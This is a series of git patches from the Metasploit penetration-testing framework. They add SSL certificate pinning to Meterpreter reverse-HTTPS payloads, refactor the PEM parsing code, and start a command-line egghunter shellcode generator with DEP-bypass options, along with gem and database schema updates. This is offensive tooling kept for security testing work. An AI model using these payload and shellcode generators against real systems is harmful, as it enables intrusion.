:url => url, + :ssl_cert_hash => get_ssl_cert_hash, :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], @@ -355,6 +356,58 @@ protected port > 0 ? port : datastore['LPORT'].to_i end + # TODO: remove all that is below this when HD's PR has been landed + def get_ssl_cert_hash + unless datastore['StagerVerifySslCert'].to_s =~ /^(t|y|1)/i + return nil + end + + unless datastore['HandlerSSLCert'] + raise ArgumentError, "StagerVerifySslCert is enabled but no HandlerSSLCert is configured" + end + + # TODO: fix this up when HD's PR has landed. + #hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) + hcert = parse_pem_file(datastore['HandlerSSLCert']) + unless hcert and hcert[0] and hcert[1] + raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" + end + + hash = Rex::Text.sha1_raw(hcert[1].to_der) + print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") + hash + nil + end + + def parse_pem(ssl_cert) + cert = nil + key = nil + chain = nil + + certs = [] + ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| + if pem =~ /PRIVATE KEY/ + key = OpenSSL::PKey::RSA.new(pem) + elsif pem =~ /CERTIFICATE/ + certs << OpenSSL::X509::Certificate.new(pem) + end + end + + cert = certs.shift + if certs.length > 0 + chain = certs + end + + [key, cert, chain] + end + def parse_pem_file(ssl_cert_file) + data = '' + ::File.open(ssl_cert_file, 'rb') do |fd| + data << fd.read(fd.stat.size) + end + parse_pem(data) + end + end end diff --git a/lib/msf/core/handler/reverse_https.rb b/lib/msf/core/handler/reverse_https.rb index e2cbc8b22a..6d0c54b0fb 100644 --- a/lib/msf/core/handler/reverse_https.rb +++ b/lib/msf/core/handler/reverse_https.rb @@ -43,7 +43,8 @@ module ReverseHttps register_advanced_options( [ - OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) + OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]), + OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"]) ], Msf::Handler::ReverseHttps) end diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb index a75354e85e..f07659b0af 100644 --- a/lib/msf/core/payload/windows/stageless_meterpreter.rb +++ b/lib/msf/core/payload/windows/stageless_meterpreter.rb @@ -77,7 +77,7 @@ module Payload::Windows::StagelessMeterpreter # the URL might not be given, as it might be patched in some other way if url # Patch the URL using the patcher as this upports both ASCII and WCHAR. - Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", url) + Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00") end # if a block is given then call that with the meterpreter dll diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 827dc0a0ab..bb6e59f80c 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -8,6 +8,8 @@ require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/stageless_meterpreter' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' +# TODO: put this in when HD's PR has been landed. +#require 'rex/parser/x509_certificate' module Metasploit3 @@ -30,7 +32,7 @@ module Metasploit3 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]), ], self.class) end @@ -57,6 +59,7 @@ module Metasploit3 Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll, :url => url, :ssl => true, + :ssl_cert_hash => get_ssl_cert_hash, :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :ua => datastore['MeterpreterUserAgent'], @@ -66,6 +69,58 @@ module Metasploit3 :proxy_username => datastore['PROXY_USERNAME'], :proxy_password => datastore['PROXY_PASSWORD'] end + + end + + # TODO: remove all that is below this when HD's PR has been landed + def get_ssl_cert_hash + unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i + return nil + end + + unless datastore['HandlerSSLCert'] + raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" + end + + # TODO: fix this up when HD's PR has landed. + #hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) + hcert = parse_pem_file(datastore['HandlerSSLCert']) + unless hcert and hcert[0] and hcert[1] + raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" + end + + hash = Rex::Text.sha1_raw(hcert[1].to_der) + print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") + hash + end + + def parse_pem(ssl_cert) + cert = nil + key = nil + chain = nil + + certs = [] + ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| + if pem =~ /PRIVATE KEY/ + key = OpenSSL::PKey::RSA.new(pem) + elsif pem =~ /CERTIFICATE/ + certs << OpenSSL::X509::Certificate.new(pem) + end + end + + cert = certs.shift + if certs.length > 0 + chain = certs + end + + [key, cert, chain] + end + def parse_pem_file(ssl_cert_file) + data = '' + ::File.open(ssl_cert_file, 'rb') do |fd| + data << fd.read(fd.stat.size) + end + parse_pem(data) end end From fd4ad9bd2eb8a72d7d5893a70141afc0dfd37d26 Mon Sep 17 00:00:00 2001 From: "oj@buffered.io" Date: Wed, 18 Mar 2015 11:10:31 +1000 Subject: [PATCH 047/279] Rework changes on top of HD's PR This commit removes duplication, tidies up a couple of things and puts some common code into the x509 module. --- lib/msf/core/handler/reverse_http.rb | 45 ++----------------- .../core/payload/windows/reverse_winhttp.rb | 5 +-- .../core/payload/windows/reverse_winhttps.rb | 38 ++++++++-------- lib/rex/parser/x509_certificate.rb | 30 +++++++++++++ .../windows/meterpreter_reverse_https.rb | 42 +---------------- 5 files changed, 57 insertions(+), 103 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index de4f6b770d..b55725d87a 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -3,6 +3,7 @@ require 'rex/io/stream_abstraction' require 'rex/sync/ref' require 'msf/core/handler/reverse_http/uri_checksum' require 'rex/payloads/meterpreter/patch' +require 'rex/parser/x509_certificate' module Msf module Handler @@ -356,56 +357,18 @@ protected port > 0 ? port : datastore['LPORT'].to_i end - # TODO: remove all that is below this when HD's PR has been landed def get_ssl_cert_hash - unless datastore['StagerVerifySslCert'].to_s =~ /^(t|y|1)/i + unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i return nil end unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySslCert is enabled but no HandlerSSLCert is configured" + raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" end - # TODO: fix this up when HD's PR has landed. - #hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) - hcert = parse_pem_file(datastore['HandlerSSLCert']) - unless hcert and hcert[0] and hcert[1] - raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" - end - - hash = Rex::Text.sha1_raw(hcert[1].to_der) + hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") hash - nil - end - - def parse_pem(ssl_cert) - cert = nil - key = nil - chain = nil - - certs = [] - ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| - if pem =~ /PRIVATE KEY/ - key = OpenSSL::PKey::RSA.new(pem) - elsif pem =~ /CERTIFICATE/ - certs << OpenSSL::X509::Certificate.new(pem) - end - end - - cert = certs.shift - if certs.length > 0 - chain = certs - end - - [key, cert, chain] - end - def parse_pem_file(ssl_cert_file) - data = '' - ::File.open(ssl_cert_file, 'rb') do |fd| - data << fd.read(fd.stat.size) - end - parse_pem(data) end end diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 8a5be39790..2745ece351 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -108,8 +108,7 @@ module Payload::Windows::ReverseWinHttp # @option opts [String] :url The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Fixnum] :port The port to connect to - # @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation - # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify + # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up # @@ -121,7 +120,7 @@ module Payload::Windows::ReverseWinHttp encoded_url = asm_generate_wchar_array(opts[:url]) encoded_host = asm_generate_wchar_array(opts[:host]) - if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash] + if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") end diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index 993347db35..e53aa6ae2d 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -49,27 +49,12 @@ module Payload::Windows::ReverseWinHttps # def generate - verify_cert = false - verify_cert_hash = nil - - if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i - unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" - else - verify_cert = true - hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) - unless hcert and hcert[0] and hcert[1] - raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" - end - verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der) - print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}") - end - end + verify_cert_hash = get_ssl_cert_hash # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space - if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i + if verify_cert_hash raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available" end @@ -78,7 +63,6 @@ module Payload::Windows::ReverseWinHttps host: datastore['LHOST'], port: datastore['LPORT'], url: generate_small_uri, - verify_cert: verify_cert, verify_cert_hash: verify_cert_hash, retry_count: datastore['StagerRetryCount']) end @@ -89,7 +73,6 @@ module Payload::Windows::ReverseWinHttps port: datastore['LPORT'], url: generate_uri, exitfunk: datastore['EXITFUNC'], - verify_cert: verify_cert, verify_cert_hash: verify_cert_hash, retry_count: datastore['StagerRetryCount'] } @@ -114,6 +97,23 @@ module Payload::Windows::ReverseWinHttps space end + # + # Get the SSL hash from the certificate, if required. + # + def get_ssl_cert_hash + unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i + return nil + end + + unless datastore['HandlerSSLCert'] + raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" + end + + hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) + print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") + hash + end + end end diff --git a/lib/rex/parser/x509_certificate.rb b/lib/rex/parser/x509_certificate.rb index f46500bf5c..a1fad8a968 100644 --- a/lib/rex/parser/x509_certificate.rb +++ b/lib/rex/parser/x509_certificate.rb @@ -56,6 +56,36 @@ class X509Certificate parse_pem(data) end + # + # Parse a certificate in unified PEM format and retrieve + # the SHA1 hash. + # + # @param [String] ssl_cert + # @return [String] + def self.get_cert_hash(ssl_cert) + hcert = parse_pem(ssl_cert) + + unless hcert and hcert[0] and hcert[1] + raise ArgumentError, "Could not parse a private key and certificate" + end + + Rex::Text.sha1_raw(hcert[1].to_der) + end + + # + # Parse a file that contains a certificate in unified PEM + # format and retrieve the SHA1 hash. + # + # @param [String] ssl_cert_file + # @return [String] + def self.get_cert_file_hash(ssl_cert_file) + data = '' + ::File.open(ssl_cert_file, 'rb') do |fd| + data << fd.read(fd.stat.size) + end + get_cert_hash(data) + end + end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index bb6e59f80c..e82262b61b 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -8,8 +8,7 @@ require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/stageless_meterpreter' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' -# TODO: put this in when HD's PR has been landed. -#require 'rex/parser/x509_certificate' +require 'rex/parser/x509_certificate' module Metasploit3 @@ -72,7 +71,6 @@ module Metasploit3 end - # TODO: remove all that is below this when HD's PR has been landed def get_ssl_cert_hash unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i return nil @@ -82,46 +80,10 @@ module Metasploit3 raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" end - # TODO: fix this up when HD's PR has landed. - #hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) - hcert = parse_pem_file(datastore['HandlerSSLCert']) - unless hcert and hcert[0] and hcert[1] - raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" - end - - hash = Rex::Text.sha1_raw(hcert[1].to_der) + hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") hash end - def parse_pem(ssl_cert) - cert = nil - key = nil - chain = nil - - certs = [] - ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| - if pem =~ /PRIVATE KEY/ - key = OpenSSL::PKey::RSA.new(pem) - elsif pem =~ /CERTIFICATE/ - certs << OpenSSL::X509::Certificate.new(pem) - end - end - - cert = certs.shift - if certs.length > 0 - chain = certs - end - - [key, cert, chain] - end - def parse_pem_file(ssl_cert_file) - data = '' - ::File.open(ssl_cert_file, 'rb') do |fd| - data << fd.read(fd.stat.size) - end - parse_pem(data) - end - end From cdbe9234192afb2809fb9f5052275505cb981fb7 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 20 Mar 2015 13:12:48 +1000 Subject: [PATCH 048/279] Ignore all the DLLs We don't keep any meterpreter DLLs in the main repo now, so this changes the ignore to make sure nothing goes in. --- .gitignore | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/.gitignore b/.gitignore index 015a4fd9f7..1619d775e4 100644 --- a/.gitignore +++ b/.gitignore @@ -67,17 +67,7 @@ external/source/exploits/**/Release # Avoid checking in Meterpreter binaries. These are supplied upstream by # the meterpreter_bins gem. -data/meterpreter/elevator.*.dll -data/meterpreter/ext_server_espia.*.dll -data/meterpreter/ext_server_extapi.*.dll -data/meterpreter/ext_server_incognito.*.dll -data/meterpreter/ext_server_kiwi.*.dll -data/meterpreter/ext_server_lanattacks.*.dll -data/meterpreter/ext_server_mimikatz.*.dll -data/meterpreter/ext_server_priv.*.dll -data/meterpreter/ext_server_stdapi.*.dll -data/meterpreter/metsrv.*.dll -data/meterpreter/screenshot.*.dll +data/meterpreter/*.dll # Avoid checking in Meterpreter libs that are built from # private source. If you're interested in this functionality, From 9d20d057dd6845ced9abf00ae60983c47a10577d Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 20 Mar 2015 13:16:43 +1000 Subject: [PATCH 049/279] Update Meterpreter URL length to 512 --- lib/msf/core/payload/windows/stageless_meterpreter.rb | 2 +- lib/rex/payloads/meterpreter/patch.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb index f07659b0af..1c79d9ecd1 100644 --- a/lib/msf/core/payload/windows/stageless_meterpreter.rb +++ b/lib/msf/core/payload/windows/stageless_meterpreter.rb @@ -77,7 +77,7 @@ module Payload::Windows::StagelessMeterpreter # the URL might not be given, as it might be patched in some other way if url # Patch the URL using the patcher as this upports both ASCII and WCHAR. - Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00") + Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00") end # if a block is given then call that with the meterpreter dll diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 216fa69e3e..67aba9e855 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -18,7 +18,7 @@ module Rex # Replace the URL def self.patch_url!(blob, url) - patch_string!(blob, "https://#{"X" * 256}", url) + patch_string!(blob, "https://#{'X' * 512}", url) end # Replace the session expiration timeout From fe267fb5a663b3f5b7244a416996ae6d86405f7d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 14:15:14 -0500 Subject: [PATCH 050/279] Here's a starting point --- tools/egghunter.rb | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100755 tools/egghunter.rb diff --git a/tools/egghunter.rb b/tools/egghunter.rb new file mode 100755 index 0000000000..e62dad1fb1 --- /dev/null +++ b/tools/egghunter.rb @@ -0,0 +1,33 @@ +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +require 'msfenv' +require 'rex' +require 'msf/core' +require 'optparse' + +module Egghunter + class Driver < Msf::Auxiliary + include Msf::Exploit::Remote::Egghunter + + def initialize(opts={}) + end + + def run + end + + end +end + + +if __FILE__ == $PROGRAM_NAME + driver = Egghunter::Driver.new + begin + driver.run + rescue Interrupt + $stdout.puts + $stdout.puts "Good bye" + end +end \ No newline at end of file From af8f645d1cc06fac84ded987c211f626f73e52e6 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 16:15:43 -0500 Subject: [PATCH 051/279] This starts to work --- tools/egghunter.rb | 91 ++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 88 insertions(+), 3 deletions(-) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index e62dad1fb1..8a94ae5597 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -6,16 +6,97 @@ $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) require 'msfenv' require 'rex' require 'msf/core' +require 'msf/base' require 'optparse' module Egghunter - class Driver < Msf::Auxiliary - include Msf::Exploit::Remote::Egghunter + class OptsConsole + def self.parse(args) + options = {} + parser = OptionParser.new do |opt| + opt.banner = "Usage: #{__FILE__} [options]" + opt.separator '' + opt.separator 'Specific options:' - def initialize(opts={}) + options[:badchars] = '' + options[:platform] = 'windows' + options[:arch] = ARCH_X86 # 'x86' + + opt.on('-f', '--format ', "See --list-formats for a list of supported output formats") do |v| + options[:format] = v + end + + opt.on('-b', '--badchars ', "(Optional) Bad characters to avoid for the egg") do |v| + options[:badchars] = v + end + + opt.on('-e', '--egg ', "Egg") do |v| + options[:eggtag] = v + end + + opt.on('-p', '--platform ', "(Optional) Platform") do |v| + options[:platform] = v + end + + opt.on('-a', '--arch ', "(Optional) Architecture") do |v| + options[:arch] = v + end + + opt.on('--list-formats', "List all supported output formats") do + options[:list_formats] = true + end + + opt.on_tail('-h', '--help', 'Show this message') do + $stdout.puts opt + exit + end + end + + parser.parse!(args) + + if options.empty? + raise OptionParser::MissingArgument, 'No options set, try -h for usage' + elsif options[:format].blank? && !options[:list_formats] + raise OptionParser::MissingArgument, '-f is required' + elsif options[:format] && !::Msf::Simple::Buffer.transform_formats.include?(options[:format]) + raise OptionParser::InvalidOption, "#{options[:format]} is not a valid format" + elsif options[:eggtag].blank? + raise OptionParser::MissingArgument, '-e is required' + end + + options + end + end + + class Driver + def initialize + begin + @opts = OptsConsole.parse(ARGV) + rescue OptionParser::ParseError => e + $stderr.puts "[x] #{e.message}" + exit + end end def run + # list_formats should check first + if @opts[:list_formats] + list_formats + return + end + + egghunter = Rex::Exploitation::Egghunter.new(@opts[:platform], @opts[:arch]) + raw_code = egghunter.hunter_stub('', @opts[:badchars], @opts) + output_stream = $stdout + output_stream.binmode + output_stream.write ::Msf::Simple::Buffer.transform(raw_code, @opts[:format]) + end + + private + + def list_formats + $stderr.puts "[*] Supported output formats:" + $stderr.puts ::Msf::Simple::Buffer.transform_formats.join(", ") end end @@ -29,5 +110,9 @@ if __FILE__ == $PROGRAM_NAME rescue Interrupt $stdout.puts $stdout.puts "Good bye" + rescue ::Exception => e + elog("#{e.class}: #{e.message}\n#{e.backtrace * "\n"}") + $stderr.puts "[x] #{e.class}: #{e.message}" + $stderr.puts "[*] If necessary, please refer to framework.log for more details." end end \ No newline at end of file From 6da216f3a41643abb08086087ada101a6ea8b923 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 16:30:29 -0500 Subject: [PATCH 052/279] More options --- tools/egghunter.rb | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index 8a94ae5597..0faab5b4da 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -30,7 +30,7 @@ module Egghunter options[:badchars] = v end - opt.on('-e', '--egg ', "Egg") do |v| + opt.on('-e', '--egg ', "The egg (Please give 4 bytes)") do |v| options[:eggtag] = v end @@ -38,6 +38,30 @@ module Egghunter options[:platform] = v end + opt.on('--startreg ', "(Optional) The starting register") do |v| + options[:startreg] = v + end + + opt.on('--forward', "(Optional) To search forward") do |v| + options[:startreg] = true + end + + opt.on('--depreg ', "(Optional) The DEP register") do |v| + options[:depreg] = v + end + + opt.on('--depdest ', "(Optional) The DEP destination") do |v| + options[:depdest] = v + end + + opt.on('--depsize ', "(Optional) The DEP size") do |v| + options[:depsize] = v + end + + opt.on('--depmethod ', "(Optional) The DEP method to use (virtualprotect/virtualalloc/copy/copy_size)") do |v| + options[:depmethod] = v + end + opt.on('-a', '--arch ', "(Optional) Architecture") do |v| options[:arch] = v end @@ -62,6 +86,8 @@ module Egghunter raise OptionParser::InvalidOption, "#{options[:format]} is not a valid format" elsif options[:eggtag].blank? raise OptionParser::MissingArgument, '-e is required' + elsif options[:depsize] && options[:depsize] =~ /^\d+$/ + raise OptionParser::InvalidOption, "--depsize must be a Fixnum" end options From 79a6f1cd097f24f4786f9b330fd4922d3f82f7db Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 16:33:19 -0500 Subject: [PATCH 053/279] fix option bug --- tools/egghunter.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index 0faab5b4da..63c3687b9e 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -82,10 +82,10 @@ module Egghunter raise OptionParser::MissingArgument, 'No options set, try -h for usage' elsif options[:format].blank? && !options[:list_formats] raise OptionParser::MissingArgument, '-f is required' + elsif options[:eggtag].blank? && !options[:list_formats] + raise OptionParser::MissingArgument, '-e is required' elsif options[:format] && !::Msf::Simple::Buffer.transform_formats.include?(options[:format]) raise OptionParser::InvalidOption, "#{options[:format]} is not a valid format" - elsif options[:eggtag].blank? - raise OptionParser::MissingArgument, '-e is required' elsif options[:depsize] && options[:depsize] =~ /^\d+$/ raise OptionParser::InvalidOption, "--depsize must be a Fixnum" end From 9ecfd36d9e5ed1b374c109a31a65a7b525b8bcd1 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 16:34:58 -0500 Subject: [PATCH 054/279] comments --- tools/egghunter.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index 63c3687b9e..6014193e0c 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -39,26 +39,32 @@ module Egghunter end opt.on('--startreg ', "(Optional) The starting register") do |v| + # Do not change this key. This should matching the one in Rex::Exploitation::Egghunter options[:startreg] = v end opt.on('--forward', "(Optional) To search forward") do |v| + # Do not change this key. This should matching the one in Rex::Exploitation::Egghunter options[:startreg] = true end opt.on('--depreg ', "(Optional) The DEP register") do |v| + # Do not change this key. This should matching the one in Rex::Exploitation::Egghunter options[:depreg] = v end opt.on('--depdest ', "(Optional) The DEP destination") do |v| + # Do not change this key. This should matching the one in Rex::Exploitation::Egghunter options[:depdest] = v end opt.on('--depsize ', "(Optional) The DEP size") do |v| + # Do not change this key. This should matching the one in Rex::Exploitation::Egghunter options[:depsize] = v end opt.on('--depmethod ', "(Optional) The DEP method to use (virtualprotect/virtualalloc/copy/copy_size)") do |v| + # Do not change this key. This should matching the one in Rex::Exploitation::Egghunter options[:depmethod] = v end From 96195f317ee72bba1a0725e8a95aefb8eb0832a0 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 20 Mar 2015 16:35:46 -0500 Subject: [PATCH 055/279] Use staging branch of mdm --- Gemfile | 2 +- Gemfile.lock | 6 ++-- db/schema.rb | 81 +++++++++++++++++++++++++++++++++++++++++++++++----- 3 files changed, 78 insertions(+), 11 deletions(-) diff --git a/Gemfile b/Gemfile index 81b4bdd059..0262173312 100755 --- a/Gemfile +++ b/Gemfile @@ -3,7 +3,7 @@ source 'https://rubygems.org' # spec.add_runtime_dependency '', [] gemspec name: 'metasploit-framework' -gem 'metasploit_data_models', git: 'https://github.com/rapid7/metasploit_data_models.git', branch: 'feature/MSP-11925/move-automatic-expoitation-factories' +gem 'metasploit_data_models', git: 'https://github.com/rapid7/metasploit_data_models.git', branch: 'staging/single-vuln-push' # separate from test as simplecov is not run on travis-ci group :coverage do diff --git a/Gemfile.lock b/Gemfile.lock index 9c57bd8798..5e1210cf0a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,9 +1,9 @@ GIT remote: https://github.com/rapid7/metasploit_data_models.git - revision: a077ac0b6e5d939da9e1b8f017bd3780aac07ef9 - branch: feature/MSP-11925/move-automatic-expoitation-factories + revision: 76d57173e5b7d7ecb79e0d2da20b89abc47dee94 + branch: staging/single-vuln-push specs: - metasploit_data_models (0.23.2.pre.move.pre.automatic.pre.expoitation.pre.factories) + metasploit_data_models (0.23.2.pre.automatic.pre.exploitation.pre.migration) activerecord (>= 3.2.13, < 4.0.0) activesupport arel-helpers diff --git a/db/schema.rb b/db/schema.rb index e27c3a8b04..5113661fa2 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20150212214222) do +ActiveRecord::Schema.define(:version => 20150312155312) do create_table "api_keys", :force => true do |t| t.text "token" @@ -19,6 +19,47 @@ ActiveRecord::Schema.define(:version => 20150212214222) do t.datetime "updated_at", :null => false end + create_table "automatic_exploitation_match_results", :force => true do |t| + t.integer "match_id" + t.integer "run_id" + t.string "state", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "automatic_exploitation_match_sets", :force => true do |t| + t.integer "workspace_id" + t.integer "user_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id" + add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id" + + create_table "automatic_exploitation_matches", :force => true do |t| + t.integer "module_detail_id" + t.string "state" + t.integer "nexpose_data_vulnerability_definition_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.integer "match_set_id" + t.string "matchable_type" + t.integer "matchable_id" + t.text "module_fullname" + end + + add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id" + add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname" + + create_table "automatic_exploitation_runs", :force => true do |t| + t.integer "workspace_id" + t.integer "user_id" + t.integer "match_set_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + create_table "clients", :force => true do |t| t.integer "host_id" t.datetime "created_at" @@ -155,19 +196,22 @@ ActiveRecord::Schema.define(:version => 20150212214222) do end create_table "loots", :force => true do |t| - t.integer "workspace_id", :default => 1, :null => false + t.integer "workspace_id", :default => 1, :null => false t.integer "host_id" t.integer "service_id" - t.string "ltype", :limit => 512 - t.string "path", :limit => 1024 + t.string "ltype", :limit => 512 + t.string "path", :limit => 1024 t.text "data" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false t.string "content_type" t.text "name" t.text "info" + t.integer "module_run_id" end + add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id" + create_table "macros", :force => true do |t| t.datetime 